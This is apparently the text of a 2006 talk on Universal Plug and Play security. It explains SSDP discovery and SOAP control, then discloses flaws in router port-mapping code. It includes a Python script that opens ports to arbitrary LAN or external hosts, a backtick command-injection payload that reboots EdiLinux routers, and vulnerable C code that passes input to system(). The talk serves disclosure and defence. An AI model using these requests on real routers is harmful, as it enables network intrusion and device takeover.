Universal Plug and Play - Dead simple or simply deadly?

Armijn Hemel

May 18, 2006

Universal Plug and Play - introduction

Bring the desktop "plug and play" concept to the (local) network.

Benefits:

- no configuration on the part of the user
- no installation of software, drivers, etcetera

UPnP is not unique:

- JINI (Sun Microsystems)
- IETF ZeroConf (Apple "Bonjour", KDE, GNOME)

History of UPnP

- early 1999 as reaction by Microsoft to Sun's JINI
- early 2000: first products with UPnP (Windows ME, Intel's Open Source UPnP SDK)
- Windows ME and Windows XP have UPnP support built-in since their release

Success!! JINI is dead, UPnP is everywhere.

UPnP standardization

Various organizations are involved in UPnP:

- UPnP Forum: create and publish new UPnP standards.
- UPnP Implementers Corporation: UPnP certification and logo licensing.

UPnP protocol stack

0. addressing
1. discovery
2. description
3. control
4. eventing
5. presentation

UPnP protocol - addressing

Zeroth, optional, step. If no DHCP server is found use "auto-addressing":

1. randomly pick an IP address from `169.254/16` IP range
2. if IP address is taken, abandon IP address and goto 1
3. else keep IP address

More auto-addressing:

- IETF ZeroConf
- Fedora Core (has a default route for `169.254/16`)

UPnP protocol - discovery

On boot-up send a search request to UDP port 1900 on 239.255.255.250:

```
M-SEARCH * HTTP/1.1
HOST: 239.255.255.250:1900
MAN: ssdp:discover
MX: 10
ST: ssdp:all
```

Other UPnP devices should reply via UDP unicast. Example response (Alcatel Speedtouch 510, slightly edited):

```
HTTP/1.1 200 OK
CACHE-CONTROL:max-age=1800
EXT:
LOCATION:http://10.0.0.138:80/IGD.xml
SERVER:SpeedTouch 510 4.0.0.9.0 UPnP/1.0 (DG233B00011961)
ST:upnp:rootdevice
USN:uuid:UPnP-SpeedTouch510-1_00::upnp:rootdevice
```

UPnP protocol - discovery (continued)

Not all devices conform to the standard! Linksys WRT54G/GS remain silent when other clients join the network.

Periodically: send notifications to 239.255.255.250 on port 1900 UDP (Linksys WRT54G output, slightly edited):

```
NOTIFY * HTTP/1.1
HOST: 239.255.255.250:1900
CACHE-CONTROL: max-age=180
Location: http://192.168.1.1:5431/dyndev/uuid:0014-bf09
NT: upnp:rootdevice
NTS: ssdp:alive
SERVER:LINUX/2.4 UPnP/1.0 BRCM400/1.0
USN: uuid:0014-bf09::upnp:rootdevice
```

UPnP protocol - description

`LOCATION` points to XML file which describes:

- control URL
- events URL
- SCPD URL (description of which functions are available, in XML)

UPnP protocol - control

Devices can be controlled by sending SOAP requests to the "control URL", from XML file of previous step. SOAP wraps function calls in XML, sent using HTTP.

```
<s:Envelope
 xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
 s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
 <s:Body>
   <u:GetExternalIPAddress
     xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
   </u:GetExternalIPAddress>
 </s:Body>
</s:Envelope>
```

No authentication/authorization, being on the LAN is enough to do this!!

UPnP protocol - eventing and presentation

Changes in “state variables” are sent over the network to subscribed clients.

Clients can subscribe to events, if they provide one or more callback URLs.

Presentation is the human controllable interface: the webinterface of the device.

UPnP profiles

UPnP defines profiles: a set of actions, state variables, etcetera, that implement specific functionality.

Standardized profiles:

- Internet Gateway Device (IGD)
- MediaServer and MediaRenderer
- Printer Device and Print Basic Service
- Scanner (External Activity, Feeder, Scan, Scanner)
- HVAC
- WLAN Access Point Device
- and more

Most popular: Internet Gateway Device and (recently) MediaServer and MediaRenderer.

Internet Gateway Device profile

- WAN connection or ADSL modem (ADSL modems and (wireless) routers)
- firewall + Network Address Translation
- DNS server, DHCP server

Subprofiles:

- WANConnectionDevice
  - WANIPConnection
  - WANPPPConnection
- LANHostConfigManagement
- Layer3Forwarding
- WANCableLinkConfig
- WANCommonInterfaceConfig

Hacking the Internet Gateway Device

The Internet Gateway Device (IGD) is an interesting target:

- It controls access to a LAN. Control the IGD and you control the connection to the outside world.
- Use built-in features from the IGD to get access to interesting machines on the LAN.

Port forwarding

The Internet Gateway Device profile allows port forwarding (via `WANIPConnection` or `WANPPPConnection` subprofiles). Common uses:

1. ask IGD to add a firewall rule to forward a port on external interface of IGD to some port on our machine
2. ask IGD to add a firewall rule to forward a port on external interface of IGD to some port on multicast or broadcast address

- MSN Messenger ("webcam", file transfers)
- remote assistance (Windows XP)
- X-Box
- many bittorrent clients

`WANIPConnection` and `WANPPPConnection` subprofiles

`WANIPConnection` and `WANPPPConnection` subprofiles control portmapping actions:

- add a portmapping
- delete a portmapping
- query existing portmappings

Port forwarding – SOAP action

`AddPortMapping` SOAP function takes a few arguments:

- `NewRemoteHost` - source of inbound packets, usually empty (i.e. all hosts)
- `NewExternalPort` - port on the external interface of the IGD
- `NewProtocol` - protocol of the port mapping (TCP or UDP)
- `NewInternalPort` - port on `NewInternalClient` packets should be sent to
- `NewInternalClient` - device on the LAN packets should be sent to (or: multicast or broadcast address)
- `NewEnabled` - boolean value indicating if the portmapping should be enabled
- `NewPortMappingDescription` - human readable string describing the portmapping
- `NewLeaseDuration` - value indicating how long the portmapping should be valid

Example code

```
#! /usr/bin/python

import os
from SOAPpy import *

endpoint = "http://10.0.0.138/upnp/control/wanpppcpppoa"
namespace = "urn:schemas-upnp-org:service:WANPPPConnection:1"
server = SOAPProxy(endpoint, namespace)
soapaction2 = "urn:schemas-upnp-org:service:WANPPPConnection
                :1#AddPortMapping"

server._sa(soapaction2).AddPortMapping(NewRemoteHost="",
           NewExternalPort=5667, NewProtocol="TCP",
           NewInternalPort=22, NewInternalClient="10.0.0.152",
           NewEnabled=1,
           NewPortMappingDescription="evil h4x0r",
           NewLeaseDuration=0)
```

Port forwarding – protocol unclarities

UPnP specifications are unclear regarding `NewInternalClient`.

Page 12 of the specification of `WANIPConnection` says this about `NewInternalClient`:

> *"This variable represents the IP address or DNS host name of an internal client (on the residential LAN)."*

On page 13 it says:

> *"Each 8-tuple configures NAT to listen for packets on the external interface of the WANConnectionDevice on behalf of a specific client and dynamically forward connection requests to that client."*

Question: should `NewInternalClient` always be the machine the SOAP request originates from?

Port forwarding – implementation errors

Question: Can `NewInternalClient` be set to another internal machine?

Answer: In most devices *it can*!

Impact

UPnP specifications are very vague on this point!

Open connections to other machines on the LAN:

- Windows file server
- internal webserver
- printer
- ...

Port forwarding – implementation errors

Question: Can `NewInternalClient` be set to an *external* machine?

Answer: In some devices *it can*!

Port forwarding – implementation errors

Some implementations accept a host not on LAN as `NewInternalClient`. Connections to `NewExternalPort` (IGD external interface) are forwarded to `NewInternalClient` *even if it does not reside on the LAN*.

- onion routing (many devices don't log by default!)
- reroute traffic: stealing mail, website defacement without hacking, phishing (depending on network setup)
- ...

Vulnerable devices

- possibly anything Linux based from Broadcom
  - Linksys WRT54G/WRT54GS
  - Asus WL-HDD 2.5 (no router, still vulnerable, attack results in DoS)
  - maybe more (check OpenWrt website)
- ZyXEL P-335WT
- all "EdiLinux" based routers (Edimax, Sweex, Hawking, Planet, Canyon, Conceptronic, Jaht, ...). See also `http://www.linux-mips.org/wiki/Adm5120` `http://www.linux-mips.org/wiki/Realtek_SOC` (search for routers).

Probably more, but many vendors did not want to cooperate.

US Robotics already fixed this in Broadcom sources for their devices in March 2005 but fixes never made it back into the original sources.

More devices for testing welcome!

Code problems

Often seen problem: parameter checking.

Input from SOAP request is often passed to an external command or `sysctl` command that just takes whatever value is passed into SOAP.

Inject and execute MIPS/ARM/... shellcode on the router?

“EdiLinux” hack

EdiLinux uses code from `http://linux-igd.sourceforge.net/` (slightly adapted for readability):

```
int pmlist_AddPortMapping (char *protocol, char *externalPort,
                           char *internalClient,
                           char *internalPort) {
    char command[500];
    sprintf(command, "%s -t nat -A %s -i %s -p %s -m mport
          --dport %s -j DNAT --to %s:%s", g_iptables,
          g_preroutingChainName, g_extInterfaceName, protocol,
          externalPort, internalClient, internalPort);
    system (command);
    if (g_forwardRules) {
      sprintf(command,"%s -I %s -p %s -d %s -m mport
         --dport %s -j ACCEPT", g_iptables,g_forwardChainName,
         protocol, internalClient, internalPort);
      system(command);
    }
    return 1;
}
```

“EdiLinux” hack – continued

There *is* a check for length (heavily edited):

```
struct portMap* pmlist_NewNode(int enabled, int duration,
        char *remoteHost, char *externalPort,
        char *internalPort, char *protocol,
        char *internalClient, char *desc) {

   struct portMap* temp;
   temp = (struct portMap*) malloc(sizeof(struct portMap));
   temp->m_PortMappingEnabled = enabled;
   temp->m_PortMappingLeaseDuration = duration;

   if (strlen(remoteHost) < sizeof(temp->m_RemoteHost))
            strcpy(temp->m_RemoteHost, remoteHost);
    else strcpy(temp->m_RemoteHost, "");
   if (strlen(internalClient) < sizeof(temp->m_InternalClient))
            strcpy(temp->m_InternalClient, internalClient);
    else strcpy(temp->m_InternalClient, "");
   ...
```

“EdiLinux” hack – continued

```
struct portMap
{
    int m_PortMappingEnabled;
    long int m_PortMappingLeaseDuration;
    char m_RemoteHost[16];
    char m_ExternalPort[6];
    char m_InternalPort[6];
    char m_PortMappingProtocol[4];
    char m_InternalClient[16];
    char m_PortMappingDescription[50];

        struct portMap* next;
        struct portMap* prev;
} *pmlist_Head, *pmlist_Tail, *pmlist_Current;
```

There is 15 bytes for exploit code!

“EdiLinux” hack – continued

The following SOAP code remotely *reboots* the router:

```
server._sa(soapaction2).AddPortMapping(NewRemoteHost="",
    NewExternalPort=21, NewProtocol="TCP", NewInternalPort=21,
    NewInternalClient="‘/sbin/reboot‘", NewEnabled=1,
    NewPortMappingDescription="blah", NewLeaseDuration=0)
```

Remote root exploit for just 30 Euro!

UPnP is by default off on the Edimax BR-6104K.

Reactions from vendors

Linksys:

- Fix has been released for WRT54GS, not (yet) for WRT54G.
- Still investigating other devices.

Zyxel:

- No high priority, UPnP is turned off by default.
- Firmware will be patched (eventually). New machines will not have this vulnerability.

Edimax:

- bug was discovered on May 12. Edimax was informed right away. No response.

Others:

- bugs were discovered between May 12 and 15 (by code analysis). Some companies were informed (others: no contact address), few responses. Netgear and Sitecom are fixing problems.

Risks and impact

So what??

Attacks are no remote attacks, but originate from LAN (extra obstacle).

- virus, spyware, P2P software, open access points
- infected computer is relatively easy to detect, reconfigured router is a lot harder to find.

UPnP should be turned off.

- people want to use it
- people don't know how to turn it off, or can't turn it off (Speedtouch 510 has no option in webinterface).

Install firmware upgrades!

- firmware upgrades are hardly ever installed

Risks and impact - continued

- millions of UPnP capable routers have been sold and are in use
- users don't upgrade router firmware (do you??)
- vendors often stop supporting devices after a certain period, if they support devices at all! (Especially companies that just rebrand and sell devices)

Result: many consumer grade ADSL/cable lines with vulnerable routers and a lot of bandwidth to waste. Ouch!

Fixing UPnP

Two ways to fix UPnP:

1. completely redesign the protocol with security into mind
2. fix holes in current UPnP implementations

Redesign UPnP

Security has been tried as add-on profiles `Device Security` and `Security Console`. Never picked up by vendors.

Problem: security is orthogonal to ease of use. Security means configuring devices properly: this is hard!

Security doesn't sell, ease of use does!

Combining security and ease of use without compromising any, or both?

Backward compatibility?

Plumb IGD errors

Various, relatively straightforward, fixes:

- blacklisting/whitelisting devices
- always test if `NewInternalClient` is the requesting machine
- verify/validate input!!!

Fixes will not (or hardly) affect users and use of programs and take away some threats.

Problems:

- vendors need to be willing to fix (development costs)
- users need to install fixes

Hacking the UPnP A/V profile

UPnP A/V profile is getting used more and more:

- Philips Streamium (some models)
- X-Box 360 (limited use)
- Noxon Audio
- Netgear MP115
- many more

Uncharted hacking territory!

Hacking the UPnP A/V profile

Two basic types of devices:

1. `MediaServer`
2. `MediaRenderer`

`MediaServer` streams content, `MediaRenderer` plays content (audio or video). Specifications say both types of devices can be controlled by an *external* control point.

Hacking the UPnP A/V profile

Possible hacks:

- "steal" content (DRM protected that was paid for?) from a `MediaServer` by sending it off the LAN.
- play content from outside the LAN on a `MediaRenderer` without the user's consent (audio and video spamming).

I have not worked on these hacks yet:

- no time (yet)
- no devices to test with, except for a Noxon Audio

Devices welcome!

Conclusions

Universal Plug and Play:

- is not very well designed
- has ambigious specifications leading to easy to exploit security holes
- is everywhere
- won't disappear

Just turn it off, hmkay?

The end...

1. Questions?
2. Tea!